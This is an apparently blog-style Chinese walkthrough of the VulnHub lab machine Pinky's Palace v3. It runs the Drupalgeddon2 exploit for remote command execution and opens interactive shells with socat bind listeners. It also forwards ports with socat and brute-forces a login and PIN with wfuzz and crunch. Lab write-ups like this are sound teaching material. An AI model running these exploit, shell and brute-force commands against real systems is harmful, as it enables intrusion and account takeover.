靶机地址:https://www.vulnhub.com/entry/pinkys-palace-v3,237/
开机界面 就是这样
确定了靶机的IP地址:192.168.106.150
靶机开放了21、5555、8000端口
一个一个来
21端口 ftp服务可以匿名访问
5555端口有ssh服务
8000端口有http服务 运行了Drupal
打开康康
让我们尽量不要使用metasploit工具
kali上ftp匿名登录 去底层 康康
匿名登录 就是
账号:ftp
密码:空
这边遇到一个问题
ftp的主动模式和被动模式
具体可以 看这里
开启被动模式 看文件的具体配置
仔细看这张图
正常情况下是只含有一个点,和两个点,那么这里有一个三个点的文件
很可能就是隐藏文件 打开具体康康
发现有个.bak文件夹
运行一下
把这个文件传到本机上了
#!/bin/bash
#FIREWALL
iptables -A OUTPUT -o eth0 -p tcp --tcp-flags ALL SYN -m state --state NEW -j DROP
ip6tables -A OUTPUT -o eth0 -p tcp --tcp-flags ALL SYN -m state --state NEW -j DROP
iptables相关知识可以参考:
https://blog.csdn.net/sinat_27261621/article/details/93893712
https://blog.csdn.net/qq_38892883/article/details/79709023
大概意思就是不能提权
那我们去看看8000端口
找寻对应的漏洞
这个是符合的
运行确是报错了
根据作者反馈是因为没有安装对应的包
具体原因在这里:https://github.com/dreadlocked/Drupalgeddon2/issues/55
这边我找到了 在github上修改好的包
https://github.com/dreadlocked/Drupalgeddon2
使用对应的EXP远程执行命名
EXP地址:https://github.com/Jack-Barradell/exploits/blob/master/CVE-2018-7600/cve-2018-7600-drupal7.py
赋予权限
可以看到成功执行了
命令:python3 drupal7.py -t 192.168.106.150 -c "id" -p 8000
这边学习一下 用一个Socat工具获得交互式的shell
Socat是一个非常强大的工具,可用于调整,旋转和获得完全交互式的外壳
具体 可以看这里
命令:python3 drupal7.py -t 192.168.106.150 -c "socat TCP-LISTEN:4444,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane" -p 8000
目的就是达到在目标靶机上监听一个4444的端口 获得外壳 有这个回显 不用管
然后本机kali上执行主动连接目标靶机的4444端口
命令:socat FILE:`tty`,raw,echo=0 TCP:192.168.106.150:4444
获得低权限的靶机shell
我们知道开放了8000端口是nginx,那么看看nginx的配置
命令:cat /etc/nginx/sites-available/default
发现开放了80端口
再次查看网络连接状态
命令:netstat -tunlpa
发现了监听数据库 的3306端口 是开放的
我们是通过web页面拿到低权限的shell的
那么这个web有可能使用了此数据库
找找配置文件 康康
有很多
配置文件的最终目录
html/sites/default/settings.php
找到数据库的账号 和密码
账号:dpink
密码:drupink
登录数据库
发现账号和密码
pinkadmin | $S$DDLlBhU7uSuGiPBv1gqEL1QDM1G2Nf3SQOXQ6TT7zsAE3IBZAgup
破解无效 …
那就先放着
3306数据库的端口行不通 就看看其他的端口
65334端口,可以确认不是nginx监听的端口
那么尝试查看/etc
目录下是否存在其他类似nginx的中间件
发现apache2
确认80和65334端口是通过Apache进行监听的
由于80和65334端口是监听在本地,为了方便访问,尝试使用socat进行端口转发,执行如下命令
socat TCP-LISTEN:4499,fork TCP:127.0.0.1:80 &
socat TCP-LISTEN:4466,fork TCP:127.0.0.1:65334 &
端口转发成功
ok 访问一下
是一个开发中的数据库
访问4499端口
发现一个登录窗口
需要账号、密码、Pin
emmm
什么玩意…
根据4466 界面
使用crunch命令 生成暴力破解的字典
具体的命令参数的详解 看这里
使用gobuster开始爆破目录
数据库文件一般是.db文件
命令:gobuster dir -u http://192.168.106.150:4466 -w a001 -x db
访问暴力破解出来的目录数据库文件
可以看到这是一个密码字典,下载下来进行暴力破解
根据目标靶机执行的cat /etc/passwd里面的用户信息和数据库信息猜测可能存在如下用户名
pinksec
pinkadmin
pinksecmanagement
pinky
dpink
现在 有了账号字典 有了密码字典
使用wfuzz 进行破解
命令:wfuzz -c -z file,./usernames.txt -z file,./pwds.db -d 'user=FUZZ&pass=FUZ2Z&pin=33221' --hh 45 http://192.168.106.150:4499/login.php
参数说明:
-c 用颜色输出,如果不加,那么输出的是没有任何颜色
-z 指定有效的payload(类型,参数,编码,字典等)
-d 指定提交的POST数据,一遍是POST请求的data数据 这里指的就是 ‘user=FUZZ&pass=FUZ2Z&pin=33221’
-hh 表示隐藏字符的响应信息 本例子中账户密码错误的显示响应的字符是45,正确的是显示41
拿到账号和密码
账号:pinkadmin
密码:AaPinkSecaAdmin4467
还得要一个5位纯数字的Pin码
继续使用crunch生成字典
命令:crunch 5 5 -f /usr/share/crunch/charset.lst numeric -o pin.txt
wfuzz的用法参考:
https://blog.csdn.net/JBlock/article/details/88619117
https://blog.csdn.net/wxh09/article/details/88167586
继续破解Pin码
命令:wfuzz -c -z file,./pin.txt -d 'user=pinkadmin&pass=pinkadmin&pin=FUZZ' --hh 45 http://192.168.106.150:4499/login.php
综合一下信息
账号:pinkadmin
密码:AaPinkSecaAdmin4467
Pin码:55849
成功登录
发现可以命令执行
执行的用户是pinksec 那就使用socat搭建一个隧道
socat TCP-LISTEN:1688,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
kali主动连接端口 就可以了
socat FILE:`tty`,raw,echo=0 TCP:192.168.106.150:1688
成功拿到shell
回看上级目录
发现bin目录存在一个二进制文件
emmm 给我整不会了
二进制 就先放一放吧…